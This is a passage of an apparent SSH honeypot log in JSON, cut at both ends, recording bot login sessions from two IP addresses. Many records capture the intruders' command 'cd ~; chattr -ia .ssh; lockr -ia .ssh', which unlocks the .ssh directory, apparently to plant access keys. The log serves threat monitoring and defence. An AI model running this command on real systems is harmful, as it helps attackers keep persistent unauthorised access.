  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 41808,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:59:08.383265+00:00",
  "ended_at": "2026-08-27T13:59:09.330568+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "12dc0a10-46ff-4925-b48a-86be989ea5ae",
  "name": "noble-subtle-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 39872,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:59:05.956026+00:00",
  "ended_at": "2026-08-27T13:59:07.727943+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "92f79bfd-6af6-423b-ae4a-edc12c4026b0",
  "name": "barren-salty-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 49358,
  "username": "oracle",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 376,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:58:11.390937+00:00",
  "ended_at": "2026-08-27T13:58:13.191461+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2121
 },
 {
  "id": "0c54333f-71e9-44e8-ab7d-a8d2058fe802",
  "name": "forlorn-prairie-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 52786,
  "username": "abcd",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 831,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:58:04.604391+00:00",
  "ended_at": "2026-08-27T13:58:06.394056+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2135
 },
 {
  "id": "bfa3910a-3236-4650-a43e-6ccab7ac1232",
  "name": "lawful-golden-vicuna",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 53446,
  "username": "oracle",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:57:41.380643+00:00",
  "ended_at": "2026-08-27T13:57:42.939001+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0b779c4b-54b8-4876-b259-593f6e87d486",
  "name": "genial-clever-chough",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 50894,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:57:38.926539+00:00",
  "ended_at": "2026-08-27T13:57:40.719410+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cfcd1478-f18f-4aa6-baa1-c10e0f8ca125",
  "name": "vernal-umber-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 54520,
  "username": "abcd",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:57:32.245232+00:00",
  "ended_at": "2026-08-27T13:57:33.213408+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3b5aa55a-b75b-47fb-9090-0a5ea1a7d743",
  "name": "restless-hazy-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 53736,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:57:29.146700+00:00",
  "ended_at": "2026-08-27T13:57:30.416045+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8cb3b0fa-51f7-4c83-b350-c42fa84f4ada",
  "name": "alpine-weathered-parakeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 36360,
  "username": "myuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 364,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:56:43.301357+00:00",
  "ended_at": "2026-08-27T13:56:44.588020+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2098
 },
 {
  "id": "d7d0ad8f-0bf6-4928-9ecc-e7d9ef924844",
  "name": "hazel-slender-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 56854,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 831,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:56:20.487122+00:00",
  "ended_at": "2026-08-27T13:56:22.536239+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2183
 },
 {
  "id": "2210d80b-ab2c-4997-b0ea-9b6bf2c2c0ca",
  "name": "hidden-solemn-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 40764,
  "username": "myuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:56:14.307109+00:00",
  "ended_at": "2026-08-27T13:56:15.606510+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b571d2d6-a28e-4242-a7d1-b99906a07a1a",
  "name": "twilight-honest-bluebird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 38354,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:56:10.644453+00:00",
  "ended_at": "2026-08-27T13:56:12.605858+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9037b35c-6f2d-48c3-b718-9ee4ea34da5c",
  "name": "nimble-languid-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 58526,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:55:45.934133+00:00",
  "ended_at": "2026-08-27T13:55:47.290342+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a5c784b4-1d46-4985-b0c4-5aa47eacb53e",
  "name": "vernal-civil-opossum",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 57684,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:55:42.923758+00:00",
  "ended_at": "2026-08-27T13:55:44.274279+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bd28fa80-f266-4e39-ad73-4ddea68a43ff",
  "name": "lively-burly-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 50760,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 480,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:55:13.593247+00:00",
  "ended_at": "2026-08-27T13:55:15.678836+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2150
 },
 {
  "id": "e0c99e99-f25b-41ac-9f98-ea2229ad105c",
  "name": "distant-gnarled-pochard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 53340,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:54:44.096849+00:00",
  "ended_at": "2026-08-27T13:54:45.600530+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9ded0add-fdae-4c60-80a5-f49f1fd7eaef",
  "name": "oaken-mighty-bushbaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 52066,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:54:42.518330+00:00",
  "ended_at": "2026-08-27T13:54:43.413924+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "289fedf4-e58f-44be-a953-c770c571fd79",
  "name": "arctic-granite-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 60932,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 833,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:54:33.403866+00:00",
  "ended_at": "2026-08-27T13:54:35.119495+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2129
 },
 {
  "id": "9ae9b79c-5732-4116-be59-4558eeded964",
  "name": "murky-plush-dipper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 34438,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:54:01.337044+00:00",
  "ended_at": "2026-08-27T13:54:02.389341+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "45b2ee1b-63b6-4ee0-bdb8-348faeb79741",
  "name": "seaward-blunt-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 33634,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:53:58.312939+00:00",
  "ended_at": "2026-08-27T13:53:59.683762+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b8066e45-449f-459c-84fe-f63d50fc71c0",
  "name": "daring-dewy-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 37456,
  "username": "eva",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 350,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:53:37.878606+00:00",
  "ended_at": "2026-08-27T13:53:39.794676+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2075
 },
 {
  "id": "42c56893-6fe3-4c34-a279-cb026fd96ce3",
  "name": "balmy-loyal-chough",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 41478,
  "username": "eva",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:53:20.343933+00:00",
  "ended_at": "2026-08-27T13:53:22.014341+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "61078aa0-8ce6-42ad-a348-22f7a992978d",
  "name": "gnarled-russet-cuckoo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 39244,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:53:17.465506+00:00",
  "ended_at": "2026-08-27T13:53:19.430620+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "417dfc62-0fd9-43c9-a4f8-92cd41f9e472",
  "name": "brisk-wry-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 36774,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 839,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:52:51.857775+00:00",
  "ended_at": "2026-08-27T13:52:54.106539+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2161
 },
 {
  "id": "90c1146b-0652-44ba-8acc-5f52a11f13c9",
  "name": "misty-humble-eider",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 38510,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:52:17.782566+00:00",
  "ended_at": "2026-08-27T13:52:19.280128+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3b779912-05a9-47bd-839d-c739eb8ab6a5",
  "name": "wooded-curious-ocelot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 37700,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:52:14.861196+00:00",
  "ended_at": "2026-08-27T13:52:16.112657+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d35905db-dc88-46cb-bf64-12db1386a69a",
  "name": "loyal-jaunty-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 54154,
  "username": "terraria",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 343,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:52:14.024949+00:00",
  "ended_at": "2026-08-27T13:52:14.976452+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2077
 },
 {
  "id": "e68626b6-8810-48f2-a774-431c54c27500",
  "name": "plucky-meadow-springbok",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 58494,
  "username": "terraria",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:51:58.385104+00:00",
  "ended_at": "2026-08-27T13:51:59.094494+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "14283c8e-555b-48a4-9e89-0a401239e17e",
  "name": "dutiful-hazel-fossa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 56014,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:51:55.583671+00:00",
  "ended_at": "2026-08-27T13:51:57.278137+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4e0ea59e-fb0d-4c7f-b6f3-6e1706d64a1e",
  "name": "plush-fickle-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 40842,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 836,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:50:56.424213+00:00",
  "ended_at": "2026-08-27T13:50:58.096000+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2150
 },
 {
  "id": "f0be092e-d297-4f15-9891-9e6de13a7865",
  "name": "foggy-northern-zebu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 42792,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:50:33.706117+00:00",
  "ended_at": "2026-08-27T13:50:35.003118+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ac000417-c480-4e21-a9ca-fd81bba46837",
  "name": "lanky-idle-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 41930,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:50:30.517608+00:00",
  "ended_at": "2026-08-27T13:50:32.034997+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "237b36a7-699b-4aec-8fc5-2e313151be27",
  "name": "plucky-velvet-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 42894,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:50:27.419511+00:00",
  "ended_at": "2026-08-27T13:50:29.404123+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "512689b9-0866-4622-8b74-f092570cdfcd",
  "name": "faded-nimble-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 60362,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 339,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:49:19.683670+00:00",
  "ended_at": "2026-08-27T13:49:21.107205+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2117
 },
 {
  "id": "0a096a81-70b7-4de7-9ece-55164067846e",
  "name": "pristine-ashen-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 44912,
  "username": "user10",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 830,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:49:09.457236+00:00",
  "ended_at": "2026-08-27T13:49:11.898519+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2082
 },
 {
  "id": "5a2ebe85-1245-44a2-9098-d2a7b933437d",
  "name": "graceful-painted-mallard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 38722,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:49:08.017663+00:00",
  "ended_at": "2026-08-27T13:49:09.308502+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ea818616-d2a8-4cd7-901a-7305a3d3161f",
  "name": "tidal-fickle-flamingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 37178,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:49:05.058938+00:00",
  "ended_at": "2026-08-27T13:49:06.283946+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3fd7cb29-d2f9-4c71-869f-a979211ddcc8",
  "name": "tender-solar-yak",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 46622,
  "username": "user10",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:48:45.407309+00:00",
  "ended_at": "2026-08-27T13:48:46.888457+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ad7d55e0-696c-4be4-855f-605892ba80a6",
  "name": "hazy-hearty-peccary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 45726,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:48:42.002055+00:00",
  "ended_at": "2026-08-27T13:48:43.752645+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fd0e2781-f91d-49c5-812e-65104e405e6f",
  "name": "barren-vaulted-cardinal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 44270,
  "username": "jason",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 484,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:47:42.693713+00:00",
  "ended_at": "2026-08-27T13:47:43.374431+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2050
 },
 {
  "id": "8c811e63-4630-436e-a585-f09230d41215",
  "name": "emerald-daring-tern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 48476,
  "username": "jason",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:47:31.959720+00:00",
  "ended_at": "2026-08-27T13:47:33.524254+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f96f3c37-d009-42e6-8e59-fbc774162407",
  "name": "feathered-tawny-quokka",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 46682,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:47:29.579054+00:00",
  "ended_at": "2026-08-27T13:47:31.200779+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4f0679fd-0de7-4821-8a97-c666f6559bf6",
  "name": "placid-smooth-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 48974,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 833,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:47:13.006250+00:00",
  "ended_at": "2026-08-27T13:47:14.698382+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2128
 },
 {
  "id": "504796be-5d22-4b06-8aae-695833d3fdac",
  "name": "orderly-upland-polecat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 50482,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:46:51.074859+00:00",
  "ended_at": "2026-08-27T13:46:52.350705+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1c8804bc-4d51-459c-84ea-b29e36170386",
  "name": "cobalt-ashen-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 49844,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:46:48.506330+00:00",
  "ended_at": "2026-08-27T13:46:49.415244+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c1d61d73-1b49-4235-b367-8e10e936e78b",
  "name": "fringed-granite-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 55924,
  "username": "sammy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 449,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:46:10.305836+00:00",
  "ended_at": "2026-08-27T13:46:11.078524+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2047
 },
 {
  "id": "7d61eacf-3d96-430d-9c4c-c22d310e8623",
  "name": "steady-dusty-camel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 59130,
  "username": "sammy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:45:59.139886+00:00",
  "ended_at": "2026-08-27T13:46:00.079330+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dde1600a-ff14-4666-ab36-853efe9c1d17",
  "name": "misty-vivid-sloth",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 57442,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:45:56.890475+00:00",
  "ended_at": "2026-08-27T13:45:58.426043+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "be430fc9-3418-4120-a9a2-95dfd66d578f",
  "name": "glassy-languid-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 53042,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 837,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:45:26.904360+00:00",
  "ended_at": "2026-08-27T13:45:28.490199+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2117
 },
 {
  "id": "0ba01b1a-465c-4c0c-833c-680a95753cbe",
  "name": "polar-ginger-onager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 54788,
  "username": "root",
